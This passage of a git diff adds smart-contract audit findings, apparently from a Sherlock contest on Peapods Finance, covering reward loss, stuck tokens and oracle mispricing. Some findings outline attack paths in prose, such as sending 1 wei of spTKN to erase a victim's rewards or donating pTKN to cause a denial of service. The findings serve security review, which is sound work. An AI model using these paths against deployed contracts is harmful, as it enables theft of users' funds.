+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+### Internal pre-conditions
+
+- CBR for a FraxlendPair decreases, e.g. due to bad debt liquidation.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Users would receive less assets.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Use the correct formula: `PRECISION - ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]);` for the decreasing scenario.
\ No newline at end of file
diff --git a/441.md b/441.md
new file mode 100644
index 0000000..d8b0029
--- /dev/null
+++ b/441.md
@@ -0,0 +1,100 @@
+Keen Jetblack Deer
+
+High
+
+# TokenRewards.sol does not handle paused reward tokens, leading to loss of funds for users.
+
+
+### Summary
+
+TokenRewards.sol does not handle paused reward tokens, leading to loss of funds for users.
+
+### Root Cause
+
+When spTKN are transferred, the transferrer and receiver both update their rewards. Rewards are distributed in the function `_distributeReward()`.
+
+One feature is that if the reward is paused, the reward distribution for that token would simply skip. However, the critical bug is that `_resetExcluded()` is still called for the user, which updates the user's `rewards[_token][_wallet].excluded` as if the reward was already distributed.
+
+This means if a reward token was paused, if a user A has some unclaimed rewards for this token, anyone can trigger a spTKN transfer to user A to make user A lose all existing rewards for this token. One should expect that if a reward token was unpaused, he can still claim his previous rewards, but this is not the case due to this bug.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L20
+
+```solidity
+ function _addShares(address _wallet, uint256 _amount) internal {
+ if (shares[_wallet] > 0) {
+ _distributeReward(_wallet);
+ }
+ uint256 sharesBefore = shares[_wallet];
+ totalShares += _amount;
+ shares[_wallet] += _amount;
+ if (sharesBefore == 0 && shares[_wallet] > 0) {
+ totalStakers++;
+ }
+@> _resetExcluded(_wallet);
+ }
+
+ function _removeShares(address _wallet, uint256 _amount) internal {
+ require(shares[_wallet] > 0 && _amount <= shares[_wallet], "RE");
+ _distributeReward(_wallet);
+ totalShares -= _amount;
+ shares[_wallet] -= _amount;
+ if (shares[_wallet] == 0) {
+ totalStakers--;
+ }
+@> _resetExcluded(_wallet);
+ }
+
+ function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+@> if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+ }
+
+ function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+ }
+
+```
+
+### Internal pre-conditions
+
+- Admin pauses a certain reward token in RewardsWhitelist.sol.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+Attacker can transfer 1 wei of spTKN to a victim and make the victim lost all unclaimed rewards of the paused token.
+
+### Impact
+
+The victim can lose all unclaimed rewards of the paused token.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Also skip update in the `_resetExcluded()` function for paused tokens.
\ No newline at end of file
diff --git a/442.md b/442.md
new file mode 100644
index 0000000..ff21585
--- /dev/null
+++ b/442.md
@@ -0,0 +1,144 @@
+Keen Jetblack Deer
+
+High
+
+# AutoCompoundingPodLp `_pairedLpTokenToPodLp()` does not correctly handle leftover pTKNs.
+
+
+### Summary
+
+AutoCompoundingPodLp `_pairedLpTokenToPodLp()` does not correctly handle leftover pTKNs, leading to either stuck of funds or potential DoS when adding LP.
+
+### Root Cause
+
+First, let's see how the autocompounding process works: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+In step 3, if add LP fails due to slippage, the pairedLpTKN and pTKN would remain in the contract, and try to process in the next autocompounding epoch.
+
+However, in the following epochs, roughly half of the pairedLpTKN balance would still be swapped to pTKN again. This would make the pairedLpTKN and pTKN amount even more unbalanced.
+
+For example:
+
+1. Init status: 10000 pairedLpTKN.
+2. After epoch 1 swap: 5000 pairedLpTKN, 5000 pTKN.
+3. After epoch 2 swap: 2500 pairedLpTKN, 7500 pTKN.
+...
+
+The core issue is:
+
+1. When calculating the amount of pairedLpTKN to swap to pTKN in the `_getSwapAmt()` function, it does not take the current pTKN balance into account. This would lead to having too much pTKN left in the contract.
+2. When adding liquidity, the entire pairedLpTKN and pTKN balance is used. If this is unbalanced, it is very likely to fail due to slippage.
+
+Note that an attacker can always come and donate pTKN to the contract to trigger the initial unbalanced state of pairedLpTKN/pTKN, which would trigger the snowballing effect leading to more pTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+@> uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+@> _podAmountOut = pod.balanceOf(address(this));
+@> _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+ try indexUtils.addLPAndStake(
+ pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+
+ function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994;
+ }
+
+```
+
+See how slippage is handled. If the input pairedLpTKN and pTKN amount is unbalanced, this is very likely to fail. (e.g. The pool is 1:1, and input amount is 1:3, even if we set slippage=50%, this would still fail.)
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L332
+```solidity
+ function addLiquidityV2(
+ uint256 _pTKNLPTokens,
+ uint256 _pairedLPTokens,
+ uint256 _slippage, // 100 == 10%, 1000 == 100%
+ uint256 _deadline
+ ) external override lock noSwapOrFee returns (uint256) {
+ ...
+ DEX_HANDLER.addLiquidity(
+ address(this),
+ PAIRED_LP_TOKEN,
+ _pTKNLPTokens,
+ _pairedLPTokens,
+@> (_pTKNLPTokens * (1000 - _slippage)) / 1000,
+@> (_pairedLPTokens * (1000 - _slippage)) / 1000,
+ _msgSender(),
+ _deadline
+ );
+ ..
+ }
+```
+
+### Internal pre-conditions
+
+- Add liquidity pairedLpTKN, pTKN fails due to slippage, leading to leftover pTKNs.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+Attacker can expedite the unbalance pairedLpTKN/pTKN token ratio by donating pTKN.
+
+### Impact
+
+1. pTKN is stuck in the contract.
+2. Add liquidity DoS.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+If there are leftover pTKNs, before swapping pairedLpTKN to pTKN, calculate the amount of pairedLpTKN that can be directly paired up with pTKN to add liquidity. This clears up the leftover pTKN, then we can proceed with the original process.
\ No newline at end of file
diff --git a/443.md b/443.md
new file mode 100644
index 0000000..7074715
--- /dev/null
+++ b/443.md
@@ -0,0 +1,68 @@
+Keen Jetblack Deer
+
+High
+
+# AutoCompoundingPodLp `_getSwapAmt()` does not return correct value for pairedLpTKN -> pTKN swaps.
+
+
+### Summary
+
+AutoCompoundingPodLp `_getSwapAmt()` does not return correct value for pairedLpTKN -> pTKN swaps.
+
+### Root Cause
+
+First, let's see how the autocompounding process works: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+In step 2, it uses a complicated formula to calculate how much pairedLpTKN should be swapped to pTKN. This formula is supposed be more accurate considering reserve change after swap and swap fees. However, a critical bug here is it does not use the correct reserve amount.
+
+Since `_t0` is always pairedLpTKN, and `_t1` is always pTKN, inside `_getSwapAmt()` we would always assume token0 is pairedLpTKN and use reserve0. This is obviously incorrect for the case if pairedLpTKN is token1, where we should use reserve1.
+
+Now let's assess the impact. Since pTKN is always 18 decimals and pairedLpTKN can be 6 decimals (e.g. USDC), let's assume the pool contains 1000e6 USDC and 1000e18 pTKN, and we want to swap 200e6 USDC.
+
+Using the correct formula `(math.sqrt(r * (amt * 3988000 + r * 3988009)) - (r * 1997)) / 1994 / 1e6`, plugging in `r = 1000e6, amt = 200e6` we have `95.59e6`. However, if we plug in `r = 1000e18`, we have `100.16e6`.
+
+This means we swap a excessive non-trivial amount of pairedLpTKN to pTKN. This will cause pTKN to be stuck in the contract, and it will accumulate within time.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+@> uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ ...
+ }
+
+ // optimal one-sided supply LP: https://blog.alphaventuredao.io/onesideduniswap/
+ function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ // @audit-bug: This always return r0, which may be the wrong reserve.
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994;
+ }
+```
+
+### Internal pre-conditions
+
+- For the UniV2 pool, pairedLpTKN is token1.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+No attack path required. Explained above.
+
+### Impact
+
+Non-trivial amount of pTKN is stuck in the contract.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Use the correct reserve in `_getSwapAmt`.
diff --git a/444.md b/444.md
new file mode 100644
index 0000000..707b489
--- /dev/null
+++ b/444.md
@@ -0,0 +1,87 @@
+Keen Jetblack Deer
+
+High
+
+# spTKNMinimalOracle `_calculateSpTknPerBase()` does not calculate correct Uniswap V2 LP fair price for non-18 decimal tokens.
+
+
+### Summary
+
+spTKNMinimalOracle `_calculateSpTknPerBase()` does not calculate correct Uniswap V2 LP fair price for non-18 decimal tokens.
+
+### Root Cause
+
+The `_calculateSpTknPerBase()` function first converts pTKN/baseTKN to spTKN/baseTKN. Basically this is calculating the price conversion from pTKN to spTKN, where spTKN is the Uniswap V2 LP pair for {pTKN, baseTKN}. For example, pTKN is pWETH, baseTKN is USDC, we need to calculate the LP price of LP{pWETH,USDC}/USDC given the price of pWETH/USDC.
+
+This is a known formula, which can be found here: https://blog.alphaventuredao.io/fair-lp-token-pricing/. The code implementation also uses it.
+
+`fairPrice = 2 * sqrt(k * priceToken1 * priceToken2) / lpSuppply`. Here we use 18 decimals for pricing, and we always normalize to 18 decimals (so baseTKN/baseTKN price is always 1e18). This gives us the formula in code.
+
+However, the bug here is the original formula does NOT support decimals that aren't equal. For example, for a WETH/USDC pool, since one has 18 decimals, another has 6, this is incorrect. We must for normalize the pool reserve amount to 18 decimals to get the correct value.
+
+This can be proved with an example. I will use the example from https://blog.alphaventuredao.io/fair-lp-token-pricing/:
+
+1. Assume ETH/BTC both have decimals of 18. Current pool reserve is 10000 ETH + 200 BTC. Product `K = 10000 * 1e18 * 200 * 1e18 = 2e42`.
+2. Assume ETH/BTC price is 0.03.
+3. LP Value is `2 * sqrt(k * priceToken1 * priceToken2) = 2 * sqrt(2e42 * 1 * 0.03) = 489e18` priced in BTC.
+
+The LP value is roughly close to linearly adding up the tokens: `10000 ETH + 200 BTC = 10000*0.03 + 200 BTC = 500 BTC`.
+
+Now, if we set BTC to a different decimal, e.g. 1e8, this would be severely wrong. The original formula would end up to be `2 * sqrt(k * priceToken1 * priceToken2) / lpSuppply = 2 * sqrt(2e30 * 1 * 0.03) = 4898979e8`. Note that the price `p0, p1` here does NOT take token decimals into account, so it is always 1 and 0.03.
+
+The above proves that reserve0 and reserve1 should always normalize to the same decimals before calculating the fair Uniswap LP price. Since pTKN is always 18 decimals, we can simply normalize to 18 decimals.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L1
+
+```solidity
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+@> (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+
+ require(_basePerSpTkn18 > 0, "V2R");
+
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+
+ // if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+ _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+pairedLpTKN is not 18 decimal token, e.g. USDC.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+spTKN is severely incorrectly priced, breaking lending feature of Fraxlend.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Normalize to 18 decimals.
\ No newline at end of file
diff --git a/445.md b/445.md
new file mode 100644
index 0000000..5cdfe84
--- /dev/null
+++ b/445.md
@@ -0,0 +1,106 @@
+Keen Jetblack Deer
+
+High
+
+# spTKNMinimalOracle `_calculateSpTknPerBase()` does not calculate correct price for podded or fraxlend pair pairedLpTKNs.
+
+
+### Summary
+
+spTKNMinimalOracle `_calculateSpTknPerBase()` does not calculate correct price for podded or fraxlend pair pairedLpTKNs.
+
+### Root Cause
+
+First, let’s clarify the denomination: tokenA/tokenB represents how much tokenB is worth per tokenA. For example, ETH/USDC = 3000 means 1 ETH is equivalent to 3000 USDC.
+
+The `_calculateSpTknPerBase()` function is used to calculate baseTKN/spTKN. It starts with the `_priceBasePerPTkn18` variable, which is pTKN/baseTKN.
+
+Now, we need to convert pTKN to spTKN. Because spTKN is the Uniswap V2 LP of pTKN and pairedLpTKN, the idea is to use the Uniswap V2 LP fair pricing formula. In order to do that, we need the price of pairedLpTKN/baseTKN.
+
+For normal pods, baseTKN is equal to pairedLpTKN (e.g USDC as pairedLpTKN). However, pods (e.g. pOHM) and fraxlend pair (self-lending pods e.g. fUSDC) tokens are also supported. The bug here is, for both podded tokens and fraxlend pair tokens, the formula is wrong.
+
+From this doc, https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?tab=t.0, the spTKN is first priced against pairedLpTKN (i.e. spTKN/pairedLpTKN), then converted to spTKN/baseTKN.
+
+The two bugs here are:
+
+1. The current code calculates `_basePerSpTkn18` as if pairedLpTKN/baseTKN is 1:1. However, this is incorrect. We should convert pTKN/baseTKN (which is `_priceBasePerPTkn18`) to pTKN/pairedLpTKN by dividing a `sqrt(ratio)` to the formula, assuming `ratio` to be the asset/share ratio of either podded token or fraxlend pair (Recall that fair LP pricing formula is `fairPrice = 2 * sqrt(k * priceToken1 * priceToken2) / lpSuppply`).
+
+2. After calculating `_basePerSpTkn18` (spTKN/pairedLpTKN), the code reverses it to pairedLpTKN/spTKN, then multiply the asset/share ratio. However, the correct order is to first multiply the asset/share ratio to get spTKN/baseTKN, and then reverse it, and finally we can get baseTKN/spTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L60
+
+```solidity
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k) / _kDec) * 10 ** (18 / 2);
+@> uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+ require(_basePerSpTkn18 > 0, "V2R");
+@> _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+
+ // if the base asset is a pod, we will assume that the CL/chainlink pool(s) are
+ // pricing the underlying asset of the base asset pod, and therefore we will
+ // adjust the output price by CBR and unwrap fee for this pod for more accuracy and
+ // better handling accounting for liquidation path
+ if (BASE_IS_POD) {
+ _spTknBasePrice18 = _checkAndHandleBaseTokenPodConfig(_spTknBasePrice18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ _spTknBasePrice18 = IFraxlendPair(BASE_TOKEN).convertToAssets(_spTknBasePrice18);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Pods with podded token or fraxlend pair token as pairedLpTKN would have incorrect oracle result, leading to overestimating or underestimating borrow asset value in Fraxlend.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix the formula accordingly. The correct code should be:
+
+```solidity
+ function _calculateSpTknPerBase(uint256 _price18) internal view returns (uint256 _spTknBasePrice18) {
+ uint256 _priceBasePerPTkn18 = _calculateBasePerPTkn(_price18);
+ address _pair = _getPair();
+
+ uint256 cbr;
+ if (BASE_IS_POD) {
+ cbr = _checkAndHandleBaseTokenPodConfig(1e18);
+ } else if (BASE_IS_FRAX_PAIR) {
+ cbr = IFraxlendPair(BASE_TOKEN).convertToAssets(1e18);
+ }
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_pair);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _kDec = 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token0()).decimals()
+ * 10 ** IERC20Metadata(IUniswapV2Pair(_pair).token1()).decimals();
+ uint256 _avgBaseAssetInLp18 = _sqrt((_priceBasePerPTkn18 * _k * 1e18) / _kDec / cbr) * 10 ** (18 / 2);
+ uint256 _basePerSpTkn18 =
+ (2 * _avgBaseAssetInLp18 * 10 ** IERC20Metadata(_pair).decimals()) / IERC20(_pair).totalSupply();
+ _basePerSpTkn18 = _basePerSpTkn18 * cbr / 1e18;
+ require(_basePerSpTkn18 > 0, "V2R");
+ _spTknBasePrice18 = 10 ** (18 * 2) / _basePerSpTkn18;
+ }
+```
\ No newline at end of file
diff --git a/446.md b/446.md
new file mode 100644
index 0000000..b05175e
--- /dev/null
+++ b/446.md
@@ -0,0 +1,94 @@
+Keen Jetblack Deer
+
+High
+
+# LeverageManager remove leverage will lead to stuck tokens if slippage `_podSwapAmtOutMin` is set.
+
+
+### Summary
+
+LeverageManager remove leverage will lead to stuck tokens if slippage `_podSwapAmtOutMin` is set.
+
+### Root Cause
+
+First we need to understand the workflow of removeLeverage in LeverageManager.
+
+1. Borrow `_borrowAssetAmt` underlying token from flashloan source.
+2. Repay these tokens to FraxlendPair.
+3. Withdraw collateral (aspTKN) to borrowedTKN and pTKN. If borrowedTKN is not enough to repay the flashloan, swap pTKN to borrowedTKN.
+4. Repay flashloan.
+5. Send leftover borrowedTKN and pTKN back to position owner.
+
+In step 3, it conducts an exactOutput swap. The target amount of output is the required amount of borrowedTKN for repay. However, this is susceptible to frontrunning and sandwich attacks. So the user needs to explicitly set a `_podSwapAmtOutMin` parameter as slippage.
+
+The issue here is, if `_podSwapAmtOutMin` is set, and there are leftover borrowTKNs, they are not transferred to the user, but stuck in the contract. This is because `_borrowAmtRemaining` will always be zero in this case.
+
+For example, after redeeming the spTKN, we have 100 pTKN and 100 borrowedTKN (pTKN:borrowedTKN = 1:1). However, we need to repay 120 borrowedTKN. If user don't set `_podSwapAmtOutMin`, the pTKN -> borrowedTKN swap would be a maxInput=100, exactOutput=20 swap, which can obviously be sandwiched. If user sets `_podSwapAmtOutMin` to 95 for slippage, the remaining 95-20=75 borrowedTokens are not transferred back to user.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L1
+
+```solidity
+ function _swapPodForBorrowToken(
+ address _pod,
+ address _targetToken,
+ uint256 _podAmt,
+ uint256 _targetNeededAmt,
+ uint256 _podSwapAmtOutMin
+ ) internal returns (uint256 _podRemainingAmt) {
+ IDexAdapter _dexAdapter = IDecentralizedIndex(_pod).DEX_HANDLER();
+ uint256 _balBefore = IERC20(_pod).balanceOf(address(this));
+ IERC20(_pod).safeIncreaseAllowance(address(_dexAdapter), _podAmt);
+@> _dexAdapter.swapV2SingleExactOut(
+ _pod, _targetToken, _podAmt, _podSwapAmtOutMin == 0 ? _targetNeededAmt : _podSwapAmtOutMin, address(this)
+ );
+ _podRemainingAmt = _podAmt - (_balBefore - IERC20(_pod).balanceOf(address(this)));
+ }
+
+ function _removeLeveragePostCallback(bytes memory _userData)
+ internal
+ returns (uint256 _podAmtRemaining, uint256 _borrowAmtRemaining)
+ {
+ ...
+ // pay back flash loan and send remaining to borrower
+ uint256 _repayAmount = _d.amount + _d.fee;
+ if (_pairedAmtReceived < _repayAmount) {
+ _podAmtRemaining = _acquireBorrowTokenForRepayment(
+ _props,
+ _posProps.pod,
+ _d.token,
+ _repayAmount - _pairedAmtReceived,
+ _podAmtReceived,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+ }
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _repayAmount);
+@> _borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0;
+ emit RemoveLeverage(_props.positionId, _props.owner, _collateralAssetRemoveAmt);
+ }
+
+```
+
+### Internal pre-conditions
+
+- When removing leverage, a pTKN -> borrowTKN swap is required, and user sets `_podSwapAmtOutMin` for slippage.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Leftover borrowedTokens are locked in the contract.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Also transfer the remaining borrowTKN to user.
diff --git a/447.md b/447.md
new file mode 100644
index 0000000..19b098f
--- /dev/null
+++ b/447.md
@@ -0,0 +1,75 @@
+Keen Jetblack Deer
+
+Medium
+
+# FraxlendPair should call `_addInterest()` before updating interest variables
+
+
+### Summary
+
+In FraxlendPair, `_addInterest()` should be called before interest variables are updated, to make sure interest rate up until now uses the old interest variables for calculation.
+
+### Root Cause
+
+Say the last time interest was updated was T0, and interest variables are updated on T1. During the time period between T0->T1, old interest related variables should be used for interest calculation. This is also what the users would expect.
+
+However, for the following two setter functions, `_addInterest()` is not called before update. This would cause the interest calculation to be incorrect.
+
+- [setRateContract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L363)
+- [setMinURChangeForExternalAddInterest](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L522)
+
+The correct implementation is as the `changeFee()` function.
+
+```solidity
+ function setRateContract(address _newRateContract) external {
+ _requireTimelock();
+ if (isRateContractSetterRevoked) revert SetterRevoked();
+ emit SetRateContract(address(rateContract), _newRateContract);
+ rateContract = IRateCalculatorV2(_newRateContract);
+ }
+
+ function setMinURChangeForExternalAddInterest(uint256 _newURChange) external {
+ _requireTimelockOrOwner();
+ if (_newURChange > UTIL_PREC) revert MinURChangeMax();
+ minURChangeForExternalAddInterest = _newURChange;
+ emit UpdatedMinURChange(_newURChange);
+ }
+
+ function changeFee(uint32 _newFee) external {
+ _requireTimelock();
+ if (isInterestPaused) revert InterestPaused();
+ if (_newFee > MAX_PROTOCOL_FEE) {
+ revert BadProtocolFee();
+ }
+ // @audit-note: This should always be called before updating interest related variables.
+@> _addInterest();
+ currentRateInfo.feeToProtocolRate = _newFee;
+ emit ChangeFee(_newFee);
+ }
+
+```
+
+
+### Internal pre-conditions
+
+- Admin updates `rateContract` or `minURChangeForExternalAddInterest`.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Interest calculation is incorrect during T0->T1 time period.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Call `_addInterest()` for the above two functions.
diff --git a/448.md b/448.md
new file mode 100644
index 0000000..d0adf7c
--- /dev/null
+++ b/448.md
@@ -0,0 +1,56 @@
+Nutty Spruce Octopus
+
+Medium
+
+# Improperly implemented proxy pattern will cause storage layout inconsistency for all pods
+
+
+### Summary
+
+The lack of proper storage layout management in the beacon proxy pattern will cause storage corruption for all index contract users as future upgrades may shift storage slots, leading to unpredictable contract behavior or complete failure.
+
+
+### Root Cause
+
+The failure to properly manage storage layout in a beacon proxy setup is a critical design flaw, as adding new storage variables can inadvertently shift existing storage slots, leading to data corruption or undefined behavior. Both WeightedIndex and DecentralizedIndex define their own contract state variables, increasing the complexity of maintaining a consistent storage layout. Additionally, the project integrates multiple external dependencies within DecentralizedIndex, further heightening the risk of misalignment, as any modification to storage can disrupt these integrations or cause unintended side effects.
+
+[WeightedIndex.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndex.sol#L13-L13)
+
+[DecentralizedIndex.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L17-L17)
+
+[WeightedIndexFactory.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/WeightedIndexFactory.sol#L73-L73)
+
+### Internal Pre-conditions
+
+1. The project deploys new WeightedIndex instances using a BeaconProxy, inheriting from DecentralizedIndex.
+2. DecentralizedIndex lacks a proper storage upgrade mechanism (e.g., storage gap or explicit storage slot assignments).
